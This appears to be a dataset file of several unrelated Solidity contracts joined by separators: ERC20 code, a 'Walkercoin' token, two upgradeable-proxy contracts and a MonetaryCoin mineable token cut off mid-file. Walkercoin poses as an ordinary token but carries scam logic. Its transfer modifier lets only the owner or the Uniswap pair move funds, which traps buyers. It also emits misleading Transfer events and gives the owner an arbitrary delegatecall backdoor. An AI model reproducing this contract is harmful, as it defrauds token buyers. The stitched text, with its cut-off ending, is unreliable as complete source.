uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Walkercoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
contract Parent {
event Upgraded(address indexed implementation);
event ProxyAdminChanged(address);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public proxyAdmin;
constructor() {
proxyAdmin=msg.sender;
emit ProxyAdminChanged(msg.sender);
}
function setProxyAdmin(address newProxyAdmin) public onlyProxyAdmin(){
proxyAdmin=newProxyAdmin;
emit ProxyAdminChanged(newProxyAdmin);
}
function getImplementation() public view returns (address impl){
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
fallback() external payable {
address adrs=getImplementation();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), adrs, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
modifier onlyProxyAdmin() {
require(msg.sender==proxyAdmin,"Must be a proxy admin");
_;
}
function isContract(address _addr) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(_addr) }
return (codehash != 0x0 && codehash != accountHash);
}
function setImplementation(address newImplementation) public onlyProxyAdmin{
require(isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
require(msg.sender==proxyAdmin);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
(bool success, bytes memory data) = newImplementation.delegatecall(
abi.encodeWithSignature("initialize()")
);
}
}
|
DC1
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
//solium-disable-next-line
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseImmutableAdminUpgradeabilityProxy
* @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks. The admin role is stored in an immutable, which
* helps saving transactions costs
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
address immutable ADMIN;
constructor(address admin) public {
ADMIN = admin;
}
modifier ifAdmin() {
if (msg.sender == ADMIN) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return ADMIN;
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends BaseAdminUpgradeabilityProxy with an initializer function
*/
contract InitializableImmutableAdminUpgradeabilityProxy is
BaseImmutableAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) {
BaseImmutableAdminUpgradeabilityProxy._willFallback();
}
}
|
DC1
|
pragma solidity ^0.4.24;
/** ----------------------MonetaryCoin V1.0.0 ------------------------*/
/**
* Homepage: https://MonetaryCoin.org Distribution: https://MonetaryCoin.io
*
* Full source code: https://github.com/Monetary-Foundation/MonetaryCoin
*
* Licenced MIT - The Monetary Foundation 2018
*
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title MineableToken
* @dev ERC20 Token with Pos mining.
* The blockReward_ is controlled by a GDP oracle tied to the national identity or currency union identity of the subject MonetaryCoin.
* This type of mining will be used during both the initial distribution period and when GDP growth is positive.
* For mining during negative growth period please refer to MineableM5Token.sol.
* Unlike standard erc20 token, the totalSupply is sum(all user balances) + totalStake instead of sum(all user balances).
*/
contract MineableToken is MintableToken {
event Commit(address indexed from, uint value,uint atStake, int onBlockReward);
event Withdraw(address indexed from, uint reward, uint commitment);
uint256 totalStake_ = 0;
int256 blockReward_; //could be positive or negative according to GDP
struct Commitment {
uint256 value; // value commited to mining
uint256 onBlockNumber; // commitment done on block
uint256 atStake; // stake during commitment
int256 onBlockReward;
}
mapping( address => Commitment ) miners;
/**
* @dev commit _value for minning
* @notice the _value will be substructed from user balance and added to the stake.
* if user previously commited, add to an existing commitment.
* this is done by calling withdraw() then commit back previous commit + reward + new commit
* @param _value The amount to be commited.
* @return the commit value: _value OR prevCommit + reward + _value
*/
function commit(uint256 _value) public returns (uint256 commitmentValue) {
require(0 < _value);
require(_value <= balances[msg.sender]);
commitmentValue = _value;
uint256 prevCommit = miners[msg.sender].value;
//In case user already commited, withdraw and recommit
// new commitment value: prevCommit + reward + _value
if (0 < prevCommit) {
// withdraw Will revert if reward is negative
uint256 prevReward;
(prevReward, prevCommit) = withdraw();
commitmentValue = prevReward.add(prevCommit).add(_value);
}
// sub will revert if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(commitmentValue);
emit Transfer(msg.sender, address(0), commitmentValue);
totalStake_ = totalStake_.add(commitmentValue);
miners[msg.sender] = Commitment(
commitmentValue, // Commitment.value
block.number, // onBlockNumber
totalStake_, // atStake = current stake + commitments value
blockReward_ // onBlockReward
);
emit Commit(msg.sender, commitmentValue, totalStake_, blockReward_); // solium-disable-line
return commitmentValue;
}
/**
* @dev withdraw reward
* @return {
"uint256 reward": the new supply
"uint256 commitmentValue": the commitment to be returned
}
*/
function withdraw() public returns (uint256 reward, uint256 commitmentValue) {
require(miners[msg.sender].value > 0);
//will revert if reward is negative:
reward = getReward(msg.sender);
Commitment storage commitment = miners[msg.sender];
commitmentValue = commitment.value;
uint256 withdrawnSum = commitmentValue.add(reward);
totalStake_ = totalStake_.sub(commitmentValue);
totalSupply_ = totalSupply_.add(reward);
balances[msg.sender] = balances[msg.sender].add(withdrawnSum);
emit Transfer(address(0), msg.sender, commitmentValue.add(reward));
delete miners[msg.sender];
emit Withdraw(msg.sender, reward, commitmentValue); // solium-disable-line
return (reward, commitmentValue);
}
/**
* @dev Calculate the reward if withdraw() happans on this block
* @notice The reward is calculated by the formula:
* (numberOfBlocks) * (effectiveBlockReward) * (commitment.value) / (effectiveStake)
* effectiveBlockReward is the average between the block reward during commit and the block reward during the call
* effectiveStake is the average between the stake during the commit and the stake during call (liniar aproximation)
* @return An uint256 representing the reward amount
*/
function getReward(address _miner) public view returns (uint256) {
if (miners[_miner].value == 0) {
return 0;
}
Commitment storage commitment = miners[_miner];
int256 averageBlockReward = signedAverage(commitment.onBlockReward, blockReward_);
require(0 <= averageBlockReward);
uint256 effectiveBlockReward = uint256(averageBlockReward);
uint256 effectiveStake = average(commitment.atStake, totalStake_);
uint256 numberOfBlocks = block.number.sub(commitment.onBlockNumber);
uint256 miningReward = numberOfBlocks.mul(effectiveBlockReward).mul(commitment.value).div(effectiveStake);
return miningReward;
}
/**
* @dev Calculate the average of two integer numbers
* @notice 1.5 will be rounded toward zero
* @return An uint256 representing integer average
*/
function average(uint256 a, uint256 b) public pure returns (uint256) {
return a.add(b).div(2);
}
/**
* @dev Calculate the average of two signed integers numbers
* @notice 1.5 will be toward zero
* @return An int256 representing integer average
*/
function signedAverage(int256 a, int256 b) public pure returns (int256) {
int256 ans = a + b;
if (a > 0 && b > 0 && ans <= 0) {
require(false);
}
if (a < 0 && b < 0 && ans >= 0) {
require(false);
}
return ans / 2;
}
/**
* @dev Gets the commitment of the specified address.
* @param _miner The address to query the the commitment Of
* @return the amount commited.
*/
function commitmentOf(address _miner) public view returns (uint256) {
return miners[_miner].value;
}
/**
* @dev Gets the all fields for the commitment of the specified address.
* @param _miner The address to query the the commitment Of
* @return {
"uint256 value": the amount commited.
"uint256 onBlockNumber": block number of commitment.
"uint256 atStake": stake when commited.
"int256 onBlockReward": block reward when commited.
}
*/
function getCommitment(address _miner) public view
returns (
uint256 value, // value commited to mining
uint256 onBlockNumber, // commited on block
uint256 atStake, // stake during commit
int256 onBlockReward // block reward during commit
)
{
value = miners[_miner].value;
onBlockNumber = miners[_miner].onBlockNumber;
atStake = miners[_miner].atStake;
onBlockReward = miners[_miner].onBlockReward;
}
/**
* @dev the total stake
* @return the total stake
*/
function totalStake() public view returns (uint256) {
return totalStake_;
}
/**
* @dev the block reward
* @return the current block reward
*/
function blockReward() public view returns (int256) {
return blockReward_;
}
}
/**
* @title GDPOraclizedToken
* @dev This is an interface for the GDP Oracle to control the mining rate.
* For security reasons, two distinct functions were created:
* setPositiveGrowth() and setNegativeGrowth()
*/
contract GDPOraclizedToken is MineableToken {
event GDPOracleTransferred(address indexed previousOracle, address indexed newOracle);
event BlockRewardChanged(int oldBlockReward, int newBlockReward);
address GDPOracle_;
address pendingGDPOracle_;
/**
* @dev Modifier Throws if called by any account other than the GDPOracle.
*/
modifier onlyGDPOracle() {
require(msg.sender == GDPOracle_);
_;
}
/**
* @dev Modifier throws if called by any account other than the pendingGDPOracle.
*/
modifier onlyPendingGDPOracle() {
require(msg.sender == pendingGDPOracle_);
_;
}
/**
* @dev Allows the current GDPOracle to transfer control to a newOracle.
* The new GDPOracle need to call claimOracle() to finalize
* @param newOracle The address to transfer ownership to.
*/
function transferGDPOracle(address newOracle) public onlyGDPOracle {
pendingGDPOracle_ = newOracle;
}
/**
* @dev Allows the pendingGDPOracle_ address to finalize the transfer.
*/
function claimOracle() onlyPendingGDPOracle public {
emit GDPOracleTransferred(GDPOracle_, pendingGDPOracle_);
GDPOracle_ = pendingGDPOracle_;
pendingGDPOracle_ = address(0);
}
/**
* @dev Chnage block reward according to GDP
* @param newBlockReward the new block reward in case of possible growth
*/
function setPositiveGrowth(int256 newBlockReward) public onlyGDPOracle returns(bool) {
// protect against error / overflow
require(0 <= newBlockReward);
emit BlockRewardChanged(blockReward_, newBlockReward);
blockReward_ = newBlockReward;
}
/**
* @dev Chnage block reward according to GDP
* @param newBlockReward the new block reward in case of negative growth
*/
function setNegativeGrowth(int256 newBlockReward) public onlyGDPOracle returns(bool) {
require(newBlockReward < 0);
emit BlockRewardChanged(blockReward_, newBlockReward);
blockReward_ = newBlockReward;
}
/**
* @dev get GDPOracle
* @return the address of the GDPOracle
*/
function GDPOracle() public view returns (address) { // solium-disable-line mixedcase
return GDPOracle_;
}
/**
* @dev get GDPOracle
* @return the address of the GDPOracle
*/
function pendingGDPOracle() public view returns (address) { // solium-disable-line mixedcase
return pendingGDPOracle_;
}
}
/**
* @title MineableM5Token
* @notice This contract adds the ability to mine for M5 tokens when growth is negative.
* The M5 token is a distinct ERC20 token that may be obtained only following a period of negative GDP growth.
* The logic for M5 mining will be finalized in advance of the close of the initial distribution period β see the White Paper for additional details.
* After upgrading this contract with the final M5 logic, finishUpgrade() will be called to permanently seal the upgradeability of the contract.
*/
contract MineableM5Token is GDPOraclizedToken {
event M5TokenUpgrade(address indexed oldM5Token, address indexed newM5Token);
event M5LogicUpgrade(address indexed oldM5Logic, address indexed newM5Logic);
event FinishUpgrade();
// The M5 token contract
address M5Token_;
// The contract to manage M5 mining logic.
address M5Logic_;
// The address which controls the upgrade process
address upgradeManager_;
// When isUpgradeFinished_ is true, no more upgrades is allowed
bool isUpgradeFinished_ = false;
/**
* @dev get the M5 token address
* @return M5 token address
*/
function M5Token() public view returns (address) {
return M5Token_;
}
/**
* @dev get the M5 logic contract address
* @return M5 logic contract address
*/
function M5Logic() public view returns (address) {
return M5Logic_;
}
/**
* @dev get the upgrade manager address
* @return the upgrade manager address
*/
function upgradeManager() public view returns (address) {
return upgradeManager_;
}
/**
* @dev get the upgrade status
* @return the upgrade status. if true, no more upgrades are possible.
*/
function isUpgradeFinished() public view returns (bool) {
return isUpgradeFinished_;
}
/**
* @dev Throws if called by any account other than the GDPOracle.
*/
modifier onlyUpgradeManager() {
require(msg.sender == upgradeManager_);
require(!isUpgradeFinished_);
_;
}
/**
